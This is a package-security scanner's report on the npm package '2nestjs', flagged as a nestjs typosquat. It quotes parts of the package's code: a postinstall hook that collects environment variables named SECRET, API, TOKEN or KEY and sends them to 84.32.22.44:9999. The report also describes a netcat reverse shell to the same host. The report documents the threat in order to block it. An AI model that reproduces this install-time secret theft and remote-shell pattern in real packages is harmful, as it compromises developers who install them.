registry / 2nestjs / 0.0.1

2nestjs@0.0.1

Typosquat of nestjs

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installation automatically executes code that harvests likely secrets, transmits them to a configured remote host, and starts a reverse shell. This is a concrete install-time compromise path.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package runs its postinstall hook.

Impact

An attacker can receive sensitive environment values and obtain a shell on the installing machine.

Mechanism

Environment-secret exfiltration and netcat reverse-shell execution.

Attack narrative

npm runs the package postinstall hook, which executes index.js. The script loads a bundled remote server address, selects likely secret-bearing environment variables, and writes them to a TCP connection. It then invokes netcat with the -e option to connect a shell to the same host and port. The package metadata also identifies it as a nestjs typosquat.

Rationale

This package contains a complete automatic install-time chain for secret exfiltration and remote shell access. The behavior is malicious and requires blocking.

Evidence

package.jsonindex.jsservers.json

Network endpoints1

84.32.22.44:9999

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook automatically runs index.js during package installation.
The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.
The bundled server configuration names 84.32.22.44 on port 9999.
The script sends collected values over a network socket and invokes netcat with a shell.
The manifest explicitly describes the package as a typosquat of nestjs.

Evidence against

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 882 B of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js", "start": "node index.js" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs index.js during package installation.

package.jsonView on unpkg · L6

index.jsView file

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L2

2Trigger-reachable chain: scripts.postinstall -> index.js L2: const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L7: try { L8: servers = JSON.parse(fs.readFileSync('./servers.json')); L9: } catch (e) { ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; ... L23: const client = net.createConnection({ host, port }, () => { L24: client.write(JSON.stringify(envs));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L2

3const net = require('net'); L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

2const os = require('os'); L3: const net = require('net'); L4: const { exec } = require('child_process'); L5: ... L13: const envs = {}; L14: for (const key of Object.keys(process.env)) { L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

index.jsView on unpkg · L2

13const envs = {}; for (const key of Object.keys(process.env)) { if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key]; } console.log('[typosquat] exfiltrating:', envs);

High

Ai Review Evidence

The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.

index.jsView on unpkg · L13

servers.jsonView file

1[ {"host": "84.32.22.44", "port": 9999, "region": "vps"} ]

High

Ai Review Evidence

The bundled server configuration names 84.32.22.44 on port 9999.

servers.jsonView on unpkg · L1

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node index.js", "start": "node index.js" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs index.js during package installation.

package.jsonView on unpkg · L6

index.jsView file

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

Findings

2 Critical6 High2 Medium2 Low

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processindex.js

HighSame File Env Network Executionindex.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

HighAi Review Evidenceservers.json

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem